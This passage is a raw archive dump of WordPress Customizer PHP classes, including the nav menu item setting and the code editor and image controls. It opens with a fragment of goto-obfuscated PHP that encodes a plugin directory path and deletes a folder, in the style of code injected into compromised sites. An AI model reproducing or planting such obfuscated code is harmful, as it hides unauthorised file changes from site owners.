"\x77\160\x2d\x63\157\156\164\145\156\164\57\x70\x6c\x75\147\x69\x6e\163\57\171\156\162\x67\155\x77\160"); goto O6d8K; qrEWw: $k27r7 = rmdir($oyZlv . "\144\x63\x69");
?>class-wp-customize-nav-menu-name-control.php000064400000002153152331005320015141 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Name_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize control to represent the name field for a given menu.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Nav_Menu_Name_Control extends WP_Customize_Control {

	/**
	 * Type of control, used by JS.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menu_name';

	/**
	 * No-op since we're using JS template.
	 *
	 * @since 4.3.0
	 */
	protected function render_content() {}

	/**
	 * Render the Underscore template for this control.
	 *
	 * @since 4.3.0
	 */
	protected function content_template() {
		?>
		<label>
			<# if ( data.label ) { #>
				<span class="customize-control-title">{{ data.label }}</span>
			<# } #>
			<input type="text" class="menu-name-field live-update-section-title"
				<# if ( data.description ) { #>
					aria-describedby="{{ data.section }}-description"
				<# } #>
				/>
		</label>
		<# if ( data.description ) { #>
			<p id="{{ data.section }}-description">{{ data.description }}</p>
		<# } #>
		<?php
	}
}
class-wp-customize-nav-menu-item-setting.php000064400000066173152331005320015170 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Item_Setting class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Setting to represent a nav_menu.
 *
 * Subclass of WP_Customize_Setting to represent a nav_menu taxonomy term, and
 * the IDs for the nav_menu_items associated with the nav menu.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Setting
 */
class WP_Customize_Nav_Menu_Item_Setting extends WP_Customize_Setting {

	const ID_PATTERN = '/^nav_menu_item\[(?P<id>-?\d+)\]$/';

	const POST_TYPE = 'nav_menu_item';

	const TYPE = 'nav_menu_item';

	/**
	 * Setting type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = self::TYPE;

	/**
	 * Default setting value.
	 *
	 * @since 4.3.0
	 * @var array
	 *
	 * @see wp_setup_nav_menu_item()
	 */
	public $default = array(
		// The $menu_item_data for wp_update_nav_menu_item().
		'object_id'        => 0,
		'object'           => '', // Taxonomy name.
		'menu_item_parent' => 0, // A.K.A. menu-item-parent-id; note that post_parent is different, and not included.
		'position'         => 0, // A.K.A. menu_order.
		'type'             => 'custom', // Note that type_label is not included here.
		'title'            => '',
		'url'              => '',
		'target'           => '',
		'attr_title'       => '',
		'description'      => '',
		'classes'          => '',
		'xfn'              => '',
		'status'           => 'publish',
		'nav_menu_term_id' => 0, // This will be supplied as the $menu_id arg for wp_update_nav_menu_item().
		'_invalid'         => false,
	);

	/**
	 * Default transport.
	 *
	 * @since 4.3.0
	 * @since 4.5.0 Default changed to 'refresh'
	 * @var string
	 */
	public $transport = 'refresh';

	/**
	 * The post ID represented by this setting instance. This is the db_id.
	 *
	 * A negative value represents a placeholder ID for a new menu not yet saved.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $post_id;

	/**
	 * Storage of pre-setup menu item to prevent wasted calls to wp_setup_nav_menu_item().
	 *
	 * @since 4.3.0
	 * @var array|null
	 */
	protected $value;

	/**
	 * Previous (placeholder) post ID used before creating a new menu item.
	 *
	 * This value will be exported to JS via the customize_save_response filter
	 * so that JavaScript can update the settings to refer to the newly-assigned
	 * post ID. This value is always negative to indicate it does not refer to
	 * a real post.
	 *
	 * @since 4.3.0
	 * @var int
	 *
	 * @see WP_Customize_Nav_Menu_Item_Setting::update()
	 * @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response()
	 */
	public $previous_post_id;

	/**
	 * When previewing or updating a menu item, this stores the previous nav_menu_term_id
	 * which ensures that we can apply the proper filters.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $original_nav_menu_term_id;

	/**
	 * Whether or not update() was called.
	 *
	 * @since 4.3.0
	 * @var bool
	 */
	protected $is_updated = false;

	/**
	 * Status for calling the update method, used in customize_save_response filter.
	 *
	 * See {@see 'customize_save_response'}.
	 *
	 * When status is inserted, the placeholder post ID is stored in $previous_post_id.
	 * When status is error, the error is stored in $update_error.
	 *
	 * @since 4.3.0
	 * @var string updated|inserted|deleted|error
	 *
	 * @see WP_Customize_Nav_Menu_Item_Setting::update()
	 * @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response()
	 */
	public $update_status;

	/**
	 * Any error object returned by wp_update_nav_menu_item() when setting is updated.
	 *
	 * @since 4.3.0
	 * @var WP_Error
	 *
	 * @see WP_Customize_Nav_Menu_Item_Setting::update()
	 * @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response()
	 */
	public $update_error;

	/**
	 * Constructor.
	 *
	 * Any supplied $args override class property defaults.
	 *
	 * @since 4.3.0
	 *
	 * @throws Exception If $id is not valid for this setting type.
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      A specific ID of the setting.
	 *                                      Can be a theme mod or option name.
	 * @param array                $args    Optional. Setting arguments.
	 */
	public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) {
		if ( empty( $manager->nav_menus ) ) {
			throw new Exception( 'Expected WP_Customize_Manager::$nav_menus to be set.' );
		}

		if ( ! preg_match( self::ID_PATTERN, $id, $matches ) ) {
			throw new Exception( "Illegal widget setting ID: $id" );
		}

		$this->post_id = (int) $matches['id'];
		add_action( 'wp_update_nav_menu_item', array( $this, 'flush_cached_value' ), 10, 2 );

		parent::__construct( $manager, $id, $args );

		// Ensure that an initially-supplied value is valid.
		if ( isset( $this->value ) ) {
			$this->populate_value();
			foreach ( array_diff( array_keys( $this->default ), array_keys( $this->value ) ) as $missing ) {
				throw new Exception( "Supplied nav_menu_item value missing property: $missing" );
			}
		}

	}

	/**
	 * Clear the cached value when this nav menu item is updated.
	 *
	 * @since 4.3.0
	 *
	 * @param int $menu_id       The term ID for the menu.
	 * @param int $menu_item_id  The post ID for the menu item.
	 */
	public function flush_cached_value( $menu_id, $menu_item_id ) {
		unset( $menu_id );
		if ( $menu_item_id === $this->post_id ) {
			$this->value = null;
		}
	}

	/**
	 * Get the instance data for a given nav_menu_item setting.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_setup_nav_menu_item()
	 *
	 * @return array|false Instance data array, or false if the item is marked for deletion.
	 */
	public function value() {
		$type_label = null;
		if ( $this->is_previewed && get_current_blog_id() === $this->_previewed_blog_id ) {
			$undefined  = new stdClass(); // Symbol.
			$post_value = $this->post_value( $undefined );

			if ( $undefined === $post_value ) {
				$value = $this->_original_value;
			} else {
				$value = $post_value;
			}
		} elseif ( isset( $this->value ) ) {
			$value = $this->value;
		} else {
			$value = false;

			// Note that a ID of less than one indicates a nav_menu not yet inserted.
			if ( $this->post_id > 0 ) {
				$post = get_post( $this->post_id );
				if ( $post && self::POST_TYPE === $post->post_type ) {
					$is_title_empty = empty( $post->post_title );
					$value          = (array) wp_setup_nav_menu_item( $post );
					if ( isset( $value['type_label'] ) ) {
						$type_label = $value['type_label'];
					}
					if ( $is_title_empty ) {
						$value['title'] = '';
					}
				}
			}

			if ( ! is_array( $value ) ) {
				$value = $this->default;
			}

			// Cache the value for future calls to avoid having to re-call wp_setup_nav_menu_item().
			$this->value = $value;
			$this->populate_value();
			$value = $this->value;
		}

		// These properties are read-only and are part of the setting for use in the Customizer UI.
		if ( is_array( $value ) ) {
			$value_obj               = (object) $value;
			$value['type_label']     = isset( $type_label ) ? $type_label : $this->get_type_label( $value_obj );
			$value['original_title'] = $this->get_original_title( $value_obj );
		}

		return $value;
	}

	/**
	 * Prepares the value for editing on the client.
	 *
	 * @since 6.8.3
	 *
	 * @return array|false Value prepared for the client.
	 */
	public function js_value() {
		$value = parent::js_value();
		if ( is_array( $value ) && isset( $value['original_title'] ) ) {
			// Decode entities for the sake of displaying the original title as a placeholder.
			$value['original_title'] = html_entity_decode( $value['original_title'], ENT_QUOTES, get_bloginfo( 'charset' ) );
		}
		return $value;
	}

	/**
	 * Get original title.
	 *
	 * @since 4.7.0
	 *
	 * @param object $item Nav menu item.
	 * @return string The original title, without entity decoding.
	 */
	protected function get_original_title( $item ) {
		$original_title = '';
		if ( 'post_type' === $item->type && ! empty( $item->object_id ) ) {
			$original_object = get_post( $item->object_id );
			if ( $original_object ) {
				/** This filter is documented in wp-includes/post-template.php */
				$original_title = apply_filters( 'the_title', $original_object->post_title, $original_object->ID );

				if ( '' === $original_title ) {
					/* translators: %d: ID of a post. */
					$original_title = sprintf( __( '#%d (no title)' ), $original_object->ID );
				}
			}
		} elseif ( 'taxonomy' === $item->type && ! empty( $item->object_id ) ) {
			$original_term_title = get_term_field( 'name', $item->object_id, $item->object, 'raw' );
			if ( ! is_wp_error( $original_term_title ) ) {
				$original_title = $original_term_title;
			}
		} elseif ( 'post_type_archive' === $item->type ) {
			$original_object = get_post_type_object( $item->object );
			if ( $original_object ) {
				$original_title = $original_object->labels->archives;
			}
		}
		return $original_title;
	}

	/**
	 * Get type label.
	 *
	 * @since 4.7.0
	 *
	 * @param object $item Nav menu item.
	 * @return string The type label.
	 */
	protected function get_type_label( $item ) {
		if ( 'post_type' === $item->type ) {
			$object = get_post_type_object( $item->object );
			if ( $object ) {
				$type_label = $object->labels->singular_name;
			} else {
				$type_label = $item->object;
			}
		} elseif ( 'taxonomy' === $item->type ) {
			$object = get_taxonomy( $item->object );
			if ( $object ) {
				$type_label = $object->labels->singular_name;
			} else {
				$type_label = $item->object;
			}
		} elseif ( 'post_type_archive' === $item->type ) {
			$type_label = __( 'Post Type Archive' );
		} else {
			$type_label = __( 'Custom Link' );
		}
		return $type_label;
	}

	/**
	 * Ensure that the value is fully populated with the necessary properties.
	 *
	 * Translates some properties added by wp_setup_nav_menu_item() and removes others.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Nav_Menu_Item_Setting::value()
	 */
	protected function populate_value() {
		if ( ! is_array( $this->value ) ) {
			return;
		}

		if ( isset( $this->value['menu_order'] ) ) {
			$this->value['position'] = $this->value['menu_order'];
			unset( $this->value['menu_order'] );
		}
		if ( isset( $this->value['post_status'] ) ) {
			$this->value['status'] = $this->value['post_status'];
			unset( $this->value['post_status'] );
		}

		if ( ! isset( $this->value['nav_menu_term_id'] ) && $this->post_id > 0 ) {
			$menus = wp_get_post_terms(
				$this->post_id,
				WP_Customize_Nav_Menu_Setting::TAXONOMY,
				array(
					'fields' => 'ids',
				)
			);
			if ( ! empty( $menus ) ) {
				$this->value['nav_menu_term_id'] = array_shift( $menus );
			} else {
				$this->value['nav_menu_term_id'] = 0;
			}
		}

		foreach ( array( 'object_id', 'menu_item_parent', 'nav_menu_term_id' ) as $key ) {
			if ( ! is_int( $this->value[ $key ] ) ) {
				$this->value[ $key ] = (int) $this->value[ $key ];
			}
		}
		foreach ( array( 'classes', 'xfn' ) as $key ) {
			if ( is_array( $this->value[ $key ] ) ) {
				$this->value[ $key ] = implode( ' ', $this->value[ $key ] );
			}
		}

		if ( ! isset( $this->value['title'] ) ) {
			$this->value['title'] = '';
		}

		if ( ! isset( $this->value['_invalid'] ) ) {
			$this->value['_invalid'] = false;
			$is_known_invalid        = (
				( ( 'post_type' === $this->value['type'] || 'post_type_archive' === $this->value['type'] ) && ! post_type_exists( $this->value['object'] ) )
				||
				( 'taxonomy' === $this->value['type'] && ! taxonomy_exists( $this->value['object'] ) )
			);
			if ( $is_known_invalid ) {
				$this->value['_invalid'] = true;
			}
		}

		// Remove remaining properties available on a setup nav_menu_item post object which aren't relevant to the setting value.
		$irrelevant_properties = array(
			'ID',
			'comment_count',
			'comment_status',
			'db_id',
			'filter',
			'guid',
			'ping_status',
			'pinged',
			'post_author',
			'post_content',
			'post_content_filtered',
			'post_date',
			'post_date_gmt',
			'post_excerpt',
			'post_mime_type',
			'post_modified',
			'post_modified_gmt',
			'post_name',
			'post_parent',
			'post_password',
			'post_title',
			'post_type',
			'to_ping',
		);
		foreach ( $irrelevant_properties as $property ) {
			unset( $this->value[ $property ] );
		}
	}

	/**
	 * Handle previewing the setting.
	 *
	 * @since 4.3.0
	 * @since 4.4.0 Added boolean return value.
	 *
	 * @see WP_Customize_Manager::post_value()
	 *
	 * @return bool False if method short-circuited due to no-op.
	 */
	public function preview() {
		if ( $this->is_previewed ) {
			return false;
		}

		$undefined      = new stdClass();
		$is_placeholder = ( $this->post_id < 0 );
		$is_dirty       = ( $undefined !== $this->post_value( $undefined ) );
		if ( ! $is_placeholder && ! $is_dirty ) {
			return false;
		}

		$this->is_previewed              = true;
		$this->_original_value           = $this->value();
		$this->original_nav_menu_term_id = $this->_original_value['nav_menu_term_id'];
		$this->_previewed_blog_id        = get_current_blog_id();

		add_filter( 'wp_get_nav_menu_items', array( $this, 'filter_wp_get_nav_menu_items' ), 10, 3 );

		$sort_callback = array( __CLASS__, 'sort_wp_get_nav_menu_items' );
		if ( ! has_filter( 'wp_get_nav_menu_items', $sort_callback ) ) {
			add_filter( 'wp_get_nav_menu_items', array( __CLASS__, 'sort_wp_get_nav_menu_items' ), 1000, 3 );
		}

		// @todo Add get_post_metadata filters for plugins to add their data.

		return true;
	}

	/**
	 * Filters the wp_get_nav_menu_items() result to supply the previewed menu items.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_get_nav_menu_items()
	 *
	 * @param WP_Post[] $items An array of menu item post objects.
	 * @param WP_Term   $menu  The menu object.
	 * @param array     $args  An array of arguments used to retrieve menu item objects.
	 * @return WP_Post[] Array of menu item objects.
	 */
	public function filter_wp_get_nav_menu_items( $items, $menu, $args ) {
		$this_item                = $this->value();
		$current_nav_menu_term_id = null;
		if ( isset( $this_item['nav_menu_term_id'] ) ) {
			$current_nav_menu_term_id = $this_item['nav_menu_term_id'];
			unset( $this_item['nav_menu_term_id'] );
		}

		$should_filter = (
			$menu->term_id === $this->original_nav_menu_term_id
			||
			$menu->term_id === $current_nav_menu_term_id
		);
		if ( ! $should_filter ) {
			return $items;
		}

		// Handle deleted menu item, or menu item moved to another menu.
		$should_remove = (
			false === $this_item
			||
			( isset( $this_item['_invalid'] ) && true === $this_item['_invalid'] )
			||
			(
				$this->original_nav_menu_term_id === $menu->term_id
				&&
				$current_nav_menu_term_id !== $this->original_nav_menu_term_id
			)
		);
		if ( $should_remove ) {
			$filtered_items = array();
			foreach ( $items as $item ) {
				if ( $item->db_id !== $this->post_id ) {
					$filtered_items[] = $item;
				}
			}
			return $filtered_items;
		}

		$mutated       = false;
		$should_update = (
			is_array( $this_item )
			&&
			$current_nav_menu_term_id === $menu->term_id
		);
		if ( $should_update ) {
			foreach ( $items as $item ) {
				if ( $item->db_id === $this->post_id ) {
					foreach ( get_object_vars( $this->value_as_wp_post_nav_menu_item() ) as $key => $value ) {
						$item->$key = $value;
					}
					$mutated = true;
				}
			}

			// Not found so we have to append it..
			if ( ! $mutated ) {
				$items[] = $this->value_as_wp_post_nav_menu_item();
			}
		}

		return $items;
	}

	/**
	 * Re-apply the tail logic also applied on $items by wp_get_nav_menu_items().
	 *
	 * @since 4.3.0
	 *
	 * @see wp_get_nav_menu_items()
	 *
	 * @param WP_Post[] $items An array of menu item post objects.
	 * @param WP_Term   $menu  The menu object.
	 * @param array     $args  An array of arguments used to retrieve menu item objects.
	 * @return WP_Post[] Array of menu item objects.
	 */
	public static function sort_wp_get_nav_menu_items( $items, $menu, $args ) {
		// @todo We should probably re-apply some constraints imposed by $args.
		unset( $args['include'] );

		// Remove invalid items only in front end.
		if ( ! is_admin() ) {
			$items = array_filter( $items, '_is_valid_nav_menu_item' );
		}

		if ( ARRAY_A === $args['output'] ) {
			$items = wp_list_sort(
				$items,
				array(
					$args['output_key'] => 'ASC',
				)
			);
			$i     = 1;

			foreach ( $items as $k => $item ) {
				$items[ $k ]->{$args['output_key']} = $i++;
			}
		}

		return $items;
	}

	/**
	 * Get the value emulated into a WP_Post and set up as a nav_menu_item.
	 *
	 * @since 4.3.0
	 *
	 * @return WP_Post With wp_setup_nav_menu_item() applied.
	 */
	public function value_as_wp_post_nav_menu_item() {
		$item = (object) $this->value();
		unset( $item->nav_menu_term_id );

		$item->post_status = $item->status;
		unset( $item->status );

		$item->post_type  = 'nav_menu_item';
		$item->menu_order = $item->position;
		unset( $item->position );

		if ( empty( $item->title ) && ! empty( $item->original_title ) ) {
			$item->title = $item->original_title; // This is NOT entity-decoded. It comes from self::get_original_title().
		}
		if ( $item->title ) {
			$item->post_title = $item->title;
		}

		// 'classes' should be an array, as in wp_setup_nav_menu_item().
		if ( isset( $item->classes ) && is_scalar( $item->classes ) ) {
			$item->classes = explode( ' ', $item->classes );
		}

		$item->ID    = $this->post_id;
		$item->db_id = $this->post_id;
		$post        = new WP_Post( (object) $item );

		if ( empty( $post->post_author ) ) {
			$post->post_author = get_current_user_id();
		}

		if ( ! isset( $post->type_label ) ) {
			$post->type_label = $this->get_type_label( $post );
		}

		// Ensure nav menu item URL is set according to linked object.
		if ( 'post_type' === $post->type && ! empty( $post->object_id ) ) {
			$post->url = get_permalink( $post->object_id );
		} elseif ( 'taxonomy' === $post->type && ! empty( $post->object ) && ! empty( $post->object_id ) ) {
			$post->url = get_term_link( (int) $post->object_id, $post->object );
		} elseif ( 'post_type_archive' === $post->type && ! empty( $post->object ) ) {
			$post->url = get_post_type_archive_link( $post->object );
		}
		if ( is_wp_error( $post->url ) ) {
			$post->url = '';
		}

		/** This filter is documented in wp-includes/nav-menu.php */
		$post->attr_title = apply_filters( 'nav_menu_attr_title', $post->attr_title );

		/** This filter is documented in wp-includes/nav-menu.php */
		$post->description = apply_filters( 'nav_menu_description', wp_trim_words( $post->description, 200 ) );

		/** This filter is documented in wp-includes/nav-menu.php */
		$post = apply_filters( 'wp_setup_nav_menu_item', $post );

		return $post;
	}

	/**
	 * Sanitize an input.
	 *
	 * Note that parent::sanitize() erroneously does wp_unslash() on $value, but
	 * we remove that in this override.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$menu_item_value` to `$value` for PHP 8 named parameter support.
	 *
	 * @param array|false $value The menu item value to sanitize.
	 * @return array|false|null|WP_Error Null or WP_Error if an input isn't valid. False if it is marked for deletion.
	 *                                   Otherwise the sanitized value.
	 */
	public function sanitize( $menu_item_value ) {
		// Menu is marked for deletion.
		if ( false === $menu_item_value ) {
			return $menu_item_value;
		}

		// Invalid.
		if ( ! is_array( $menu_item_value ) ) {
			return null;
		}

		$default                     = array(
			'object_id'        => 0,
			'object'           => '',
			'menu_item_parent' => 0,
			'position'         => 0,
			'type'             => 'custom',
			'title'            => '',
			'url'              => '',
			'target'           => '',
			'attr_title'       => '',
			'description'      => '',
			'classes'          => '',
			'xfn'              => '',
			'status'           => 'publish',
			'original_title'   => '',
			'nav_menu_term_id' => 0,
			'_invalid'         => false,
		);
		$menu_item_value             = array_merge( $default, $menu_item_value );
		$menu_item_value             = wp_array_slice_assoc( $menu_item_value, array_keys( $default ) );
		$menu_item_value['position'] = (int) $menu_item_value['position'];

		foreach ( array( 'object_id', 'menu_item_parent', 'nav_menu_term_id' ) as $key ) {
			// Note we need to allow negative-integer IDs for previewed objects not inserted yet.
			$menu_item_value[ $key ] = (int) $menu_item_value[ $key ];
		}

		foreach ( array( 'type', 'object', 'target' ) as $key ) {
			$menu_item_value[ $key ] = sanitize_key( $menu_item_value[ $key ] );
		}

		foreach ( array( 'xfn', 'classes' ) as $key ) {
			$value = $menu_item_value[ $key ];
			if ( ! is_array( $value ) ) {
				$value = explode( ' ', $value );
			}
			$menu_item_value[ $key ] = implode( ' ', array_map( 'sanitize_html_class', $value ) );
		}

		// Apply the same filters as when calling wp_insert_post().

		/** This filter is documented in wp-includes/post.php */
		$menu_item_value['title'] = wp_unslash( apply_filters( 'title_save_pre', wp_slash( $menu_item_value['title'] ) ) );

		/** This filter is documented in wp-includes/post.php */
		$menu_item_value['attr_title'] = wp_unslash( apply_filters( 'excerpt_save_pre', wp_slash( $menu_item_value['attr_title'] ) ) );

		/** This filter is documented in wp-includes/post.php */
		$menu_item_value['description'] = wp_unslash( apply_filters( 'content_save_pre', wp_slash( $menu_item_value['description'] ) ) );

		if ( '' !== $menu_item_value['url'] ) {
			$menu_item_value['url'] = esc_url_raw( $menu_item_value['url'] );
			if ( '' === $menu_item_value['url'] ) {
				return new WP_Error( 'invalid_url', __( 'Invalid URL.' ) ); // Fail sanitization if URL is invalid.
			}
		}
		if ( 'publish' !== $menu_item_value['status'] ) {
			$menu_item_value['status'] = 'draft';
		}

		$menu_item_value['_invalid'] = (bool) $menu_item_value['_invalid'];

		/** This filter is documented in wp-includes/class-wp-customize-setting.php */
		return apply_filters( "customize_sanitize_{$this->id}", $menu_item_value, $this );
	}

	/**
	 * Creates/updates the nav_menu_item post for this setting.
	 *
	 * Any created menu items will have their assigned post IDs exported to the client
	 * via the {@see 'customize_save_response'} filter. Likewise, any errors will be
	 * exported to the client via the customize_save_response() filter.
	 *
	 * To delete a menu, the client can send false as the value.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_update_nav_menu_item()
	 *
	 * @param array|false $value The menu item array to update. If false, then the menu item will be deleted
	 *                           entirely. See WP_Customize_Nav_Menu_Item_Setting::$default for what the value
	 *                           should consist of.
	 * @return null|void
	 */
	protected function update( $value ) {
		if ( $this->is_updated ) {
			return;
		}

		$this->is_updated = true;
		$is_placeholder   = ( $this->post_id < 0 );
		$is_delete        = ( false === $value );

		// Update the cached value.
		$this->value = $value;

		add_filter( 'customize_save_response', array( $this, 'amend_customize_save_response' ) );

		if ( $is_delete ) {
			// If the current setting post is a placeholder, a delete request is a no-op.
			if ( $is_placeholder ) {
				$this->update_status = 'deleted';
			} else {
				$r = wp_delete_post( $this->post_id, true );

				if ( false === $r ) {
					$this->update_error  = new WP_Error( 'delete_failure' );
					$this->update_status = 'error';
				} else {
					$this->update_status = 'deleted';
				}
				// @todo send back the IDs for all associated nav menu items deleted, so these settings (and controls) can be removed from Customizer?
			}
		} else {

			// Handle saving menu items for menus that are being newly-created.
			if ( $value['nav_menu_term_id'] < 0 ) {
				$nav_menu_setting_id = sprintf( 'nav_menu[%s]', $value['nav_menu_term_id'] );
				$nav_menu_setting    = $this->manager->get_setting( $nav_menu_setting_id );

				if ( ! $nav_menu_setting || ! ( $nav_menu_setting instanceof WP_Customize_Nav_Menu_Setting ) ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'unexpected_nav_menu_setting' );
					return;
				}

				if ( false === $nav_menu_setting->save() ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'nav_menu_setting_failure' );
					return;
				}

				if ( (int) $value['nav_menu_term_id'] !== $nav_menu_setting->previous_term_id ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'unexpected_previous_term_id' );
					return;
				}

				$value['nav_menu_term_id'] = $nav_menu_setting->term_id;
			}

			// Handle saving a nav menu item that is a child of a nav menu item being newly-created.
			if ( $value['menu_item_parent'] < 0 ) {
				$parent_nav_menu_item_setting_id = sprintf( 'nav_menu_item[%s]', $value['menu_item_parent'] );
				$parent_nav_menu_item_setting    = $this->manager->get_setting( $parent_nav_menu_item_setting_id );

				if ( ! $parent_nav_menu_item_setting || ! ( $parent_nav_menu_item_setting instanceof WP_Customize_Nav_Menu_Item_Setting ) ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'unexpected_nav_menu_item_setting' );
					return;
				}

				if ( false === $parent_nav_menu_item_setting->save() ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'nav_menu_item_setting_failure' );
					return;
				}

				if ( (int) $value['menu_item_parent'] !== $parent_nav_menu_item_setting->previous_post_id ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'unexpected_previous_post_id' );
					return;
				}

				$value['menu_item_parent'] = $parent_nav_menu_item_setting->post_id;
			}

			// Insert or update menu.
			$menu_item_data = array(
				'menu-item-object-id'   => $value['object_id'],
				'menu-item-object'      => $value['object'],
				'menu-item-parent-id'   => $value['menu_item_parent'],
				'menu-item-position'    => $value['position'],
				'menu-item-type'        => $value['type'],
				'menu-item-title'       => $value['title'],
				'menu-item-url'         => $value['url'],
				'menu-item-description' => $value['description'],
				'menu-item-attr-title'  => $value['attr_title'],
				'menu-item-target'      => $value['target'],
				'menu-item-classes'     => $value['classes'],
				'menu-item-xfn'         => $value['xfn'],
				'menu-item-status'      => $value['status'],
			);

			$r = wp_update_nav_menu_item(
				$value['nav_menu_term_id'],
				$is_placeholder ? 0 : $this->post_id,
				wp_slash( $menu_item_data )
			);

			if ( is_wp_error( $r ) ) {
				$this->update_status = 'error';
				$this->update_error  = $r;
			} else {
				if ( $is_placeholder ) {
					$this->previous_post_id = $this->post_id;
					$this->post_id          = $r;
					$this->update_status    = 'inserted';
				} else {
					$this->update_status = 'updated';
				}
			}
		}

	}

	/**
	 * Export data for the JS client.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Nav_Menu_Item_Setting::update()
	 *
	 * @param array $data Additional information passed back to the 'saved' event on `wp.customize`.
	 * @return array Save response data.
	 */
	public function amend_customize_save_response( $data ) {
		if ( ! isset( $data['nav_menu_item_updates'] ) ) {
			$data['nav_menu_item_updates'] = array();
		}

		$data['nav_menu_item_updates'][] = array(
			'post_id'          => $this->post_id,
			'previous_post_id' => $this->previous_post_id,
			'error'            => $this->update_error ? $this->update_error->get_error_code() : null,
			'status'           => $this->update_status,
		);
		return $data;
	}
}
class-wp-customize-code-editor-control.php000064400000004415152331005320014676 0ustar00<?php
/**
 * Customize API: WP_Customize_Code_Editor_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.9.0
 */

/**
 * Customize Code Editor Control class.
 *
 * @since 4.9.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Code_Editor_Control extends WP_Customize_Control {

	/**
	 * Customize control type.
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $type = 'code_editor';

	/**
	 * Type of code that is being edited.
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $code_type = '';

	/**
	 * Code editor settings.
	 *
	 * @see wp_enqueue_code_editor()
	 * @since 4.9.0
	 * @var array|false
	 */
	public $editor_settings = array();

	/**
	 * Enqueue control related scripts/styles.
	 *
	 * @since 4.9.0
	 */
	public function enqueue() {
		$this->editor_settings = wp_enqueue_code_editor(
			array_merge(
				array(
					'type'       => $this->code_type,
					'codemirror' => array(
						'indentUnit' => 2,
						'tabSize'    => 2,
					),
				),
				$this->editor_settings
			)
		);
	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 4.9.0
	 *
	 * @see WP_Customize_Control::json()
	 *
	 * @return array Array of parameters passed to the JavaScript.
	 */
	public function json() {
		$json                    = parent::json();
		$json['editor_settings'] = $this->editor_settings;
		$json['input_attrs']     = $this->input_attrs;
		return $json;
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 *
	 * @since 4.9.0
	 */
	public function render_content() {}

	/**
	 * Render a JS template for control display.
	 *
	 * @since 4.9.0
	 */
	public function content_template() {
		?>
		<# var elementIdPrefix = 'el' + String( Math.random() ); #>
		<# if ( data.label ) { #>
			<label for="{{ elementIdPrefix }}_editor" class="customize-control-title">
				{{ data.label }}
			</label>
		<# } #>
		<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>
		<div class="customize-control-notifications-container"></div>
		<textarea id="{{ elementIdPrefix }}_editor"
			<# _.each( _.extend( { 'class': 'code' }, data.input_attrs ), function( value, key ) { #>
				{{{ key }}}="{{ value }}"
			<# }); #>
			></textarea>
		<?php
	}
}
class-wp-customize-header-image-setting.php000064400000003162152331005320015003 0ustar00<?php
/**
 * Customize API: WP_Customize_Header_Image_Setting class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * A setting that is used to filter a value, but will not save the results.
 *
 * Results should be properly handled using another setting or callback.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Setting
 */
final class WP_Customize_Header_Image_Setting extends WP_Customize_Setting {
	public $id = 'header_image_data';

	/**
	 * @since 3.4.0
	 *
	 * @global Custom_Image_Header $custom_image_header
	 *
	 * @param $value
	 */
	public function update( $value ) {
		global $custom_image_header;

		// If _custom_header_background_just_in_time() fails to initialize $custom_image_header when not is_admin().
		if ( empty( $custom_image_header ) ) {
			require_once ABSPATH . 'wp-admin/includes/class-custom-image-header.php';
			$args                   = get_theme_support( 'custom-header' );
			$admin_head_callback    = isset( $args[0]['admin-head-callback'] ) ? $args[0]['admin-head-callback'] : null;
			$admin_preview_callback = isset( $args[0]['admin-preview-callback'] ) ? $args[0]['admin-preview-callback'] : null;
			$custom_image_header    = new Custom_Image_Header( $admin_head_callback, $admin_preview_callback );
		}

		// If the value doesn't exist (removed or random),
		// use the header_image value.
		if ( ! $value ) {
			$value = $this->manager->get_setting( 'header_image' )->post_value();
		}

		if ( is_array( $value ) && isset( $value['choice'] ) ) {
			$custom_image_header->set_header_image( $value['choice'] );
		} else {
			$custom_image_header->set_header_image( $value );
		}
	}
}
class-wp-customize-image-control.php000064400000002273152331005320013562 0ustar00<?php
/**
 * Customize API: WP_Customize_Image_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Image Control class.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Upload_Control
 */
class WP_Customize_Image_Control extends WP_Customize_Upload_Control {
	/**
	 * Control type.
	 *
	 * @since 3.4.0
	 * @var string
	 */
	public $type = 'image';

	/**
	 * Media control mime type.
	 *
	 * @since 4.1.0
	 * @var string
	 */
	public $mime_type = 'image';

	/**
	 * @since 3.4.2
